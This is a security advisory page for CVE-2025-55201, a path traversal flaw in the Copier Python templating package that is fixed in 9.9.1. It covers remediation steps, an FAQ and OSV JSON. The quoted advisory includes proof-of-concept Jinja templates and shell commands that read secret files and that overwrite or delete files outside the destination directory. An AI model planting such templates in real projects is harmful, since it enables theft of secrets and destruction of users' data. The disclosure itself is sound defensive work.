CVE-2025-55201: Copier Copier's Safe Template Has Arbitrary Vulnerability

HIGH
Advisory Identifier: GHSA-3xw7-v6cj-5q8h
CWE-22
Published
Advisory Summary

CVE-2025-55201 is a HIGH copier's safe template has arbitrary vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Copier libraries in the PyPI ecosystem. The issue involves copier's safe template has arbitrary filesystem read/write access. Remediation is available by upgrading affected packages to version 9.9.1.

CVE-2025-55201 at a Glance

CVE Identifier CVE-2025-55201
GHSA Identifier GHSA-3xw7-v6cj-5q8h
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Copier
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2025-55201

To remediate this vulnerability, upgrade all affected Copier dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

copier fixed: 9.9.1
pip install copier>=9.9.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show copier

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-55201, inspect your installed packages using pip:

pip show copier

Analyze the terminal output to locate any version of Copier in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.9.1), your application is affected.

Note: The pip show copier command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Copier, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact Copier's current security model shall restrict filesystem access through Jinja: - Files can only be read using `{% include ... %}`, which is limited by Jinja to reading files from the subtree of the local template clone in our case. - Files are written in the destination directory according to their counterparts in the template. Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few `pathlib.Path` objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless. #### Arbitrary read access Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like [github.com](http://github.com/) where the template author can extract the secrets. Reproducible example: - Read known file: ```shell echo "s3cr3t" > secret.txt mkdir src/ echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja uvx copier copy src/ dst/ cat dst/stolen-secret.txt ``` - Read unknown file(s) via globbing: ```shell mkdir secrets/ echo "s3cr3t #1" > secrets/secret1.txt echo "s3cr3t #2" > secrets/secret2.txt mkdir src/ cat <<'EOF' > src/stolen-secrets.txt.jinja stolen secrets: {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %} {% for f in parent.glob('*.txt') %} {{ f }}: {{ f.read_text('utf-8') }} {% endfor %} EOF uvx copier copy src/ dst/ cat dst/stolen-secrets.txt ``` #### Arbitrary write access Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc. Reproducible examples: - Overwrite known file: ```shell echo "s3cr3t" > secret.txt mkdir src/ echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja uvx copier copy src/ dst/ cat secret.txt ``` - Overwrite unknown file(s) via globbing: ```shell echo "s3cr3t" > secret.txt mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..').resolve() %} {% for f in (parent.glob('*.txt') | list) %} {{ f.write_text('OVERWRITTEN', 'utf-8') }} {% endfor %} EOF uvx copier copy src/ dst/ cat secret.txt ``` - Delete unknown file(s) via globbing: ```shell echo "s3cr3t" > secret.txt mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..').resolve() %} {% for f in (parent.glob('*.txt') | list) %} {{ f.unlink() }} {% endfor %} EOF uvx copier copy src/ dst/ cat secret.txt ``` - Delete unknown files and directories via tree walking: ```shell mkdir data mkdir data/a mkdir data/a/b echo "foo" > data/foo.txt echo "bar" > data/a/bar.txt echo "baz" > data/a/b/baz.txt tree data/ mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %} {% for root, dirs, files in parent.walk(top_down=False) %} {% for name in files %} {{ (root / name).unlink() }} {% endfor %} {% for name in dirs %} {{ (root / name).rmdir() }} {% endfor %} {% endfor %} EOF uvx copier copy src/ dst/ tree data/ ```

CVE-2025-55201 Affected Copier Versions

1 component(s)
Fixed Versions:
9.9.1
Product / Package Ecosystem Affected Versions Fixed Version
copier
PyPI
< 9.9.1
9.9.1

References

Frequently Asked Questions

What is CVE-2025-55201?
CVE-2025-55201 is a security vulnerability in Copier involving Copier's safe template has arbitrary filesystem read/write access under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Copier versions are affected?
Affected versions include releases prior to 9.9.1 across affected packages: copier.
What version fixes CVE-2025-55201?
Upgrading to 9.9.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is copier affected?
Yes, copier is affected in releases prior to 9.9.1. Upgrade your dependency to 9.9.1 or later.
What CWE is associated with CVE-2025-55201?
CVE-2025-55201 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2025-55201?
Run the dependency tree command: 'pip show copier'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3xw7-v6cj-5q8h",
  "modified" : "2025-08-18T21:00:23Z",
  "published" : "2025-08-18T21:00:23Z",
  "aliases" : [ "CVE-2025-55201" ],
  "summary" : "Copier's safe template has arbitrary filesystem read/write access",
  "details" : "### Impact\n\nCopier's current security model shall restrict filesystem access through Jinja:\n\n- Files can only be read using `{% include ... %}`, which is limited by Jinja to reading files from the subtree of the local template clone in our case.\n- Files are written in the destination directory according to their counterparts in the template.\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few `pathlib.Path` objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.\n\n#### Arbitrary read access\n\nImagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps \"masks\" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like [github.com](http://github.com/) where the template author can extract the secrets.\n\nReproducible example:\n\n- Read known file:\n\n    ```shell\n    echo \"s3cr3t\" > secret.txt\n    mkdir src/\n    echo \"stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}\" > src/stolen-secret.txt.jinja\n    uvx copier copy src/ dst/\n    cat dst/stolen-secret.txt\n    ```\n\n- Read unknown file(s) via globbing:\n\n    ```shell\n    mkdir secrets/\n    echo \"s3cr3t #1\" > secrets/secret1.txt\n    echo \"s3cr3t #2\" > secrets/secret2.txt\n    mkdir src/\n    cat <<'EOF' > src/stolen-secrets.txt.jinja\n    stolen secrets:\n    {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}\n    {% for f in parent.glob('*.txt') %}\n    {{ f }}: {{ f.read_text('utf-8') }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat dst/stolen-secrets.txt\n    ```\n\n#### Arbitrary write access\n\nImagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.\n\nReproducible examples:\n\n- Overwrite known file:\n\n    ```shell\n    echo \"s3cr3t\" > secret.txt\n    mkdir src/\n    echo \"{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}\" > src/malicious.txt.jinja\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Overwrite unknown file(s) via globbing:\n\n    ```shell\n    echo \"s3cr3t\" > secret.txt\n    mkdir src/\n    cat <<'EOF' > src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / '..').resolve() %}\n    {% for f in (parent.glob('*.txt') | list) %}\n    {{ f.write_text('OVERWRITTEN', 'utf-8') }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Delete unknown file(s) via globbing:\n\n    ```shell\n    echo \"s3cr3t\" > secret.txt\n    mkdir src/\n    cat <<'EOF' > src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / '..').resolve() %}\n    {% for f in (parent.glob('*.txt') | list) %}\n    {{ f.unlink() }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Delete unknown files and directories via tree walking:\n\n    ```shell\n    mkdir data\n    mkdir data/a\n    mkdir data/a/b\n    echo \"foo\" > data/foo.txt\n    echo \"bar\" > data/a/bar.txt\n    echo \"baz\" > data/a/b/baz.txt\n    tree data/\n    mkdir src/\n    cat <<'EOF' > src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}\n    {% for root, dirs, files in parent.walk(top_down=False) %}\n    {% for name in files %}\n    {{ (root / name).unlink() }}\n    {% endfor %}\n    {% for name in dirs %}\n    {{ (root / name).rmdir() }}\n    {% endfor %}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    tree data/\n    ```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "copier"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "9.9.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/copier-org/copier/security/advisories/GHSA-3xw7-v6cj-5q8h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-55201"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/copier-org/copier/commit/3feea3b3ff3c20d80cbb16a2f3b9567ffc5606d1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/copier-org/copier"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-08-18T21:00:23Z",
    "nvd_published_at" : "2025-08-18T17:15:29Z"
  }
}